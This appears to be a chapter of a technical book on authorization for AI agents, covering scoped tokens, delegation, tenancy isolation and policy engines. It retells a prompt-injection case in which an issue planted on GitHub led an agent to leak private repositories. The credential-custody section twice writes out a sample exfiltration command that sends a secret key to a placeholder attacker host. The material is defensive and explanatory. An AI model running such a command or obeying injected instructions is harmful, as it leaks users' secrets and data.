Security and Authorization
An agent acts in the world with someone's authority, and the central security question is how much of that authority travels with each call and for how long. A standing broad token plus a prompt injection, an instruction hidden in untrusted content, equals a breach because the injected instruction inherits the whole grant. Identity and governance split the work of bounding that authority, while budget and audit sit downstream of a verified principal rather than forming systems of their own.
The breach that names the problem
In May 2025, Invariant Labs disclosed a clean way to turn a reasonable configuration into a cross-repository data leak (Invariant Labs 2025). The GitHub integration for the Model Context Protocol (MCP), the tool-connection layer that exposes external systems to an agent, followed a common pattern: one personal access token, broad enough to span a user's repositories, reused for the life of a session. An attacker planted instructions in a public issue. When the agent read that issue, it followed the planted instructions, and because the single token already covered the user's private repositories, the agent used it to exfiltrate their contents. The failure was not a leaked secret. It was a correctly held secret that was too broad and too durable.
That sentence names the problem, so it is worth taking apart. An agent's purpose is to take actions: read a repository, send an email, query a warehouse, call a model. Each action needs authority, and the tempting default is to authorize the agent once with a broad credential and let it reuse that credential for the session's life. The trouble is that a standing grant is reachable by anything that can reach the agent, and an agent's input channel is open by construction: it reads untrusted content. An attacker who plants instructions in a web page, a file, or a tool's output (indirect prompt injection, of which tool poisoning, a malicious tool description that hijacks the agent, is one variant) can steer the agent into using that grant. The token does not know whether the agent decided to act or was steered into it.
So the attack surface is the scope list. Authority that is broad and long-lived turns a single injected instruction into the union of everything the credential permits (Figure 56.2). The blast radius extends well past the one repository the attacker reached, out to every repository the same token covered.
The GitHub case is one shape of a more general failure, and three further problems compound it. The agent runs on shared infrastructure, so the platform must know which tenant an action belongs to, or a retrieval query silently returns one tenant's data into another's session. Provider keys and OAuth tokens that pay for and authorize the work must not be reachable by the generated code that might leak them. And when a human withdraws consent, the authority already issued must actually stop, not merely be flagged. Each of these is the same question asked of a different resource: how much authority travels, and for how long.
Two fabrics, one verb
The answer is to make authority a first-class, narrow, short-lived, attributed thing. In a mature platform that thing is owned by two cooperating fabrics that split a single verb: governance declares what an agent may attempt, and identity enforces it on the wire. Before reaching that seam, both fabrics consume the same primitive.
The principal tuple
Every operation resolves its caller into
(user_id, tenant_id, agent_id, workload_id, scopes, attributes) and answers
one question: may this principal take this action on this resource? That tuple
is what every other system consumes. Persistence stamps it on a session, the
cost pipeline bills against it, the audit log attributes to it. An audit entry
that records "session X did Y" without the verified tuple cannot answer the
only questions an investigation asks, which are who and for which tenant.
Three identities, not a hierarchy
The harness reconciles three principals on every call, and they are orthogonal axes that cannot be collapsed (Figure 56.4).
The user is the human authenticated through SSO, with consent that can be withdrawn. The agent, by contrast, is a named and versioned principal carrying its own capability surface, and that surface is what makes "the agent did X, not the user" expressible at all. Last comes the workload, the runtime itself, which settles a question the other two cannot: is this a legitimate harness replica, or something else in the cluster that obtained a token? Each identity closes an attack the others leave open, and each carries an attribution the others cannot.
Declares versus enforces
Two fabrics split the work of bounding authority, and the seam between them is
the load-bearing idea. Governance declares an attenuation:
this agent may only read, only this repository, only under a spending ceiling.
Identity enforces it, by minting a token scoped to exactly that and refusing
to mint anything broader. Capability attenuation is governance's vocabulary;
token scoping is identity's mechanism for making it true on the wire. The
cleanest test for which fabric owns a concern: if revoking it changes who can
reach a resource, it is identity; if revoking it changes what an authorized
principal is permitted to attempt, it is governance. A token's scope claim
sits on the seam precisely because identity writes it to encode what
governance decided (Figure 56.5).
Governance treats the agent as a document, not a running process: a named, owner-signed, versioned record of its prompt, its tool grants, its model binding, its budget, and its approval steps. The document is the thing that answers "what was this agent allowed to do at the moment it acted," because the allowance is the document at a point in version control. The load-bearing invariant on delegation is : authority can only ever shrink as work is handed down a chain, never grow.
Credential custody
The provider key and the OAuth token live in the fabric, never in the agent's environment, config, logs, or command history. The agent receives a scoped, short-lived handle that the fabric exchanges for the real credential at call time. This is the same secret-reachability discipline that the harness applies at the sandbox boundary (Chapter 41): generated code must not read high-value secrets. It matters most for provider keys because their blast radius is unattributed spend on someone else's models, discovered on the invoice.
That exchange assumes something can mint the short-lived credential. It holds
for a provider key behind a model gateway, and for anything that speaks OAuth
token exchange or on-behalf-of. It does not hold for a static third-party
secret a vendor will not rotate per call: a payment key, a database password, a
partner API token. The tempting fix is to hand that secret to the sandbox
directly, as an environment variable or a mounted file. That is universal and
needs no code change, but it moves the real secret inside the box, where the
lethal trifecta of Chapter 57 turns one injected
curl evil.example?leak=$KEY into an exfiltration. The custody discipline
survives for a static secret through egress substitution: the box holds an
opaque placeholder in the secret's place, and a TLS-terminating egress proxy
holds the real value and swaps it onto the wire, but only toward the hosts the
credential is scoped to. A placeholder sent anywhere else is inert, so leaking
it buys the attacker nothing. The cost is explicit and worth naming: the proxy
terminates TLS for the scoped hosts, so it reads the plaintext of those
requests and the client must trust its certificate authority; and it cannot
help authentication that never puts the secret verbatim on the wire, request
signing (AWS SigV4) or challenge-response (SCRAM), because there is nothing to
substitute.
curl evil.example?leak=$KEY exfiltrates it: the lethal trifecta is open.Tenancy as the coarsest ownership axis
Every resource carries a tenant attribute or is silently trapped in one tenant. Isolation then lives on a spectrum whose defining property is blast radius on a bug, and the choice is made per resource class rather than platform-wide, because blast radius is not uniform: a leaked audit row is a confidentiality incident, but a leaked cross-tenant memory retrieval is an active data breach that surfaces one tenant's content inside another's live session (Chapter 39, Chapter 44).
From broad to ephemeral
The packaging of authority for a call has moved steadily from broad and durable toward narrow and ephemeral, driven by each incident that the prior shape made possible. The GitHub breach sits at the start of that arc, not the end: it is what the oldest packaging looks like when an agent reads untrusted input.
Broad bearer tokens were the default because they are one consent dialog and one credential. Their cost is temporal: a broad token is a standing grant reachable by anything that can reach the agent. GitHub's fine-grained personal access tokens and Google's narrowed consent screens exist to claw back from this pattern. So does the protocol that carried the breach: the June 2025 revision of the MCP specification makes every MCP server an OAuth 2.1 resource server and requires clients to bind each token to one server's canonical URI via RFC 8707 resource indicators, so a token minted for one server is refused by every other (Model Context Protocol 2025).
Short-lived capability tokens invert the standing grant: each tool call mints a token carrying exactly the permissions that call needs, with a TTL in minutes, so the window in which a leaked or injected call can do damage shrinks from a session to a single operation. Macaroons (2014) and Biscuit are the formal grounding: tokens a holder can attenuate, adding caveats that only further restrict, never widen, so a service hands a strictly weaker token to the next hop without calling back to the issuer (Birgisson et al. 2014). This is the object-capability discipline, and it is exactly expressed at the token layer.
on-behalf-of (OBO) propagates the user's authority end to end instead of replacing it with the agent's, so a warehouse's row-level security sees the human, not the service account. RFC 8693 formalizes the token exchange (Jones et al. 2020); the agent-specific proposal, the IETF draft on on-behalf-of-user authorization for AI agents, encodes user plus agent plus client identity in one delegated token, though it remains an individual draft rather than an adopted standard (IETF 2025). Okta for AI Agents (Okta 2025) and Auth0's agent-identity work (Auth0 2026) ship this as product rather than draft.
Workload identity (SPIFFE/SPIRE) lets the pod prove what it is cryptographically, with no shared secret to leak. It is what lets the token broker refuse to mint a user token for a process that merely sits in the cluster, and it is standard for anything multi-replica.
The selection rule that this history settles into: broad scopes are defensible only for single-user, low-privilege deployments; capability tokens earn their plumbing when actions are high-privilege or irreversible; OBO is load-bearing whenever downstream authorization is user-dependent; SPIFFE is standard for anything multi-replica.
Whether governance is a primitive distinct from identity is genuinely
unsettled. The skeptical position is that identity already issues attenuable,
scoped, delegatable tokens (Macaroons, Biscuit, OBO, the agent_id in its
tuple), so there is nothing left for a separate fabric to own. The separation
argument answers with a question identity cannot answer alone: what was this
agent allowed to do at the moment it acted? The answer is not a token scope;
it is a prompt, a tool list, a budget, and a set of approval steps, the
agent's versioned document, which identity never held. The
counterweight is that the market is thin: there is no mature, vendor-neutral
"governance fabric" category the way there is for identity (Okta, Auth0,
SPIFFE) or sandboxes. A thin market is what an under-served primitive looks
like before it is named, but it is also what a non-primitive looks like, and
that is why the question stays open.
Where it bites
Every choice here prices one good against another, and the knees are sharp. Five trade-offs recur, and each one is a place where a defensible decision has a sharp downside that the alternative does not.
- Isolation granularity versus sharing flexibility. Flat-user tenancy is trivially isolated and cannot share. A three-level org-project hierarchy is legible by inspection but calcifies the moment the real org is a matrix rather than a tree. Attribute-based access fits any topology but makes "who can see what?" undecidable by reading the data, which breaks offline audit and erasure traversals. Pick the simplest shape that fits the org and leaves the ownership graph walkable.
- Revocation latency versus long TTL. Revocation latency is unavoidable with bearer tokens: a user withdrawing consent does not reach into already-issued tokens, so the session runs on revoked authority until the token expires. The TTL is therefore the ceiling on how long a revoked grant stays exploitable. Long-TTL tokens and a right to immediate revocation are mutually exclusive, and the more sensitive the tenant, the shorter the token must live.
- Partition-at-write versus filter-at-read. A
tenant_idfilter applied at read time is one missingWHEREclause from a leak; an index that is physically per-tenant cannot leak even if the query is wrong. Filtering is cheap; partitioning is safe. - Consent fatigue. Re-prompting on every action trains users to grant the broadest scope available just to silence the dialog, which manufactures the ambient authority the whole design fights. The structural fix is to make the agent a first-class identity with its own durable, auditable grant rather than a proxy that re-borrows the user's authority per action.
- Centralization versus availability. A single fabric in front of all model inference makes attribution and synchronous budget enforcement possible, but it is by construction a single point of failure: when it is down, every active session stalls at once. The centralization that buys control must be paid for with a fallback route and a circuit breaker.
Change the TTL below and watch the window in which a revoked token stays exploitable: with consent withdrawn at a random moment in the token's life, the mean exposure is half the TTL and the worst case is the full TTL.
import numpy as np
rng = np.random.default_rng(0)
trials = 100_000
for ttl_min in [60, 15, 5, 1]:
# consent withdrawn at a uniformly random moment within the token's life
withdraw = rng.uniform(0, ttl_min, trials)
# exposure = time the session keeps running on revoked authority
exposure = ttl_min - withdraw
print(f"TTL={ttl_min:>3} min -> mean exposure {exposure.mean():5.2f} min,"
f" worst case {exposure.max():5.2f} min")
print("\nExposure window scales linearly with TTL: the TTL is the ceiling.")
Budget enforcement is dictated by identity, not by the cost system. A cap that says "this tenant may spend five thousand dollars a month" is meaningless unless every model call carries a verified tenant at the moment of the call, before the spend happens (Chapter 76). The runaway-spend incidents, the $47,000 agent loop (Waxell 2025) and the Claude Code recursion that burned 1.67 billion tokens in five hours (anthropics/claude-code 2025), are not purely cost-system failures. Budgets existed in both; they fired on spend the system could attribute only after the money was gone. Per-tenant enforcement is downstream of a verified principal because attribution has to precede the call, and a cost cap can only be as precise as the identity handed to it.
The component that answers the verb
The component that actually answers "may this caller take this action on this resource?" is a policy engine, and it is the most visible artifact of the fabric. OPA / Rego is Kubernetes-native and data-driven, with a real learning curve. AWS Cedar is typed and analyzable, so you can ask formal questions of a policy ("can any principal ever reach this resource?") rather than only testing it. Oso is authorization as a library with a relationship model; Permit.io composes these backends behind one API. The query these engines answer became a standard of its own in January 2026, when the OpenID Foundation finalized the AuthZEN Authorization API: one vendor-neutral wire format for the per-action question, whichever engine sits behind it (OpenID Foundation 2026). A production system runs two policy surfaces and should keep them separate: the resource-access policy that identity owns ("can this identity read this resource?") and the action-risk policy that governance owns ("may this agent send this email?"), because they change for different reasons and on different cadences, and the latter is where human approval is placed (Chapter 55).
The isolation tiers
The isolation tiers, chosen per resource class:
| Tier | Mechanism | Blast radius on bug | Fit |
|---|---|---|---|
| Logical | Shared DB plus tenant column plus enforced filter | One missing WHERE leaks everything |
Dev, internal tools, low-stakes SaaS |
| Namespace | Separate schemas or namespaces per tenant | Misrouted query hits one wrong tenant | Most B2B SaaS |
| Physical | Separate DBs, clusters, or accounts per tenant | Bug stays inside one tenant | Regulated, large enterprise, sovereign cloud |
A mature platform mixes tiers deliberately: sessions logically partitioned for
cost, high-sensitivity memory physically isolated, audit as a shared physical
store with tenant-tagged rows. The trap that runs underneath all of it is
implicit tenancy from request headers: if tenant_id is read from an HTTP
header with no cryptographic binding (a JWT claim, an mTLS client cert), a
single spoofed header bypasses the most carefully chosen physical tier at the
front door.
Closing the loop
Two operational patterns close the loop. Budget enforcement must be synchronous with the call, living in the model-access fabric or the gateway, the only points with both per-call context and the authority to refuse; a budget enforced by the billing system is an alert, not enforcement, because it fires after the spend. Right-to-erasure, in tension with audit's demand that the record persist, is resolved by tombstone-plus-proof: purge the payload, keep the tamper-evident chain intact, and prove the deletion rather than silently dropping a row.
The recurring failure modes are all identity edges drawn imprecisely. Ambient authority is the GitHub MCP shape: one long-lived token, every call, prompt injection triggers anything it permits. Agent-to-agent delegation that forwards the user's token hands the next agent the user's full authority with none of the user's intent attached; the correct shape is a delegated, attenuated token that names the chain and narrows scope at each hop, and botched delegation is a leading cause of multi-agent failure (Cemri et al. 2025) (Chapter 43). Cross-tenant retrieval bleed-over is the highest-risk class, mitigated by partition-at-write over filter-at-read. Silent tenant coupling, where a resource inherits tenancy implicitly at creation, becomes unshareable and un-re-parentable without a migration that implicit tenancy is exactly unable to express.
Further reading
- GitHub, “Fine-grained personal access tokens,” n.d.. docs.github.comGitHub documentation page explaining fine-grained personal access tokens as a more secure alternative to classic tokens, with per-repository scope and explicit permission controls.
- Brunel & others, “Biscuit: Decentralized Authorization with Attenuable Tokens,” n.d.. biscuitsec.orgEclipse Biscuit is an authorization token with decentralized verification, offline attenuation, and logic-language-based security policy enforcement.
- IETF, “OAuth 2.0 On-Behalf-Of User for AI Agents,” 2025. datatracker.ietf.orgAn IETF Internet-Draft defining an OAuth 2.0 extension with a new grant type and requested_agent parameter so AI agents can obtain delegated access tokens on behalf of users with explicit consent.
- SPIFFE/SPIRE, “Secure Production Identity Framework for Everyone,” n.d.. spiffe.ioSPIFFE and SPIRE provide a universal identity control plane that issues strongly attested cryptographic identities to workloads across heterogeneous distributed systems.
- AWS, “IAM Identity Federation and Attribute-Based Access Control,” n.d.. docs.aws.amazon.comAWS IAM docs page explaining ABAC, an authorization strategy that grants permissions by matching resource tags to principal tags, scaling better than role-based access control.
- Google, “IAM Overview, Resource Hierarchy and Conditions,” n.d.. cloud.google.comGoogle Cloud IAM overview documentation explains how the Identity and Access Management system works and how to use it to control access to Google Cloud resources.
- AWS, “Cedar Policy Language,” n.d.. cedarpolicy.comCedar Language Playground is an interactive browser-based tool for authoring and testing Cedar authorization policies used in AWS services.
- CNCF, “Open Policy Agent (OPA),” n.d.. openpolicyagent.orgOpen Policy Agent (OPA) is a CNCF general-purpose policy engine that unifies policy enforcement across applications, Kubernetes, API gateways, and CI/CD pipelines using the Rego declarative language.
- Oso, “Authorization as a Library, Relationship-Based Access Control,” n.d.. osohq.comOso is a commercial platform that provides monitoring, access controls, and automated least-privilege authorization for AI agents running in production.
- Permit.io, “Authorization-as-a-Service for Fine-Grained Access Control,” n.d.. permit.ioPermit.io is an authorization platform that provides fine-grained, real-time access control for AI agents using RBAC, ABAC, and ReBAC policies enforced at action time.
- Salesforce, “Agentforce Trust Layer and Agent Identity,” 2025. salesforce.com
- Google et al., “Agent-to-Agent (A2A) Protocol,” 2025. a2aprotocol.orgA2A (Agent2Agent) is an open protocol by Google for standardized interoperability between AI agents, covering agent discovery via Agent Cards, task lifecycle management, and multi-modal content exchange.
- Pinecone, “Managed Vector Database for AI,” n.d.. pinecone.io
- pgvector, “Open-source Vector Similarity Search for Postgres,” n.d.. github.compgvector is an open-source PostgreSQL extension that adds a vector data type and similarity search operators for nearest-neighbor retrieval.
- Anthropic, “Claude Code Plugins and Subagents Reference,” n.d.. code.claude.comThe Claude Code plugins reference page documents the complete technical specification for extending Claude Code with custom skills, agents, hooks, MCP servers, and other components via a plugin directory system.
- Model Context Protocol, “Model Context Protocol Specification, Revision 2025-06-18: Authorization” (MCP servers as OAuth 2.1 resource servers; RFC 8707 audience binding made mandatory), 2025. modelcontextprotocol.io
- OpenID Foundation, “AuthZEN Authorization API 1.0” (a vendor-neutral wire format for the per-action authorization query), 2026. openid.net
Comments
Log in to comment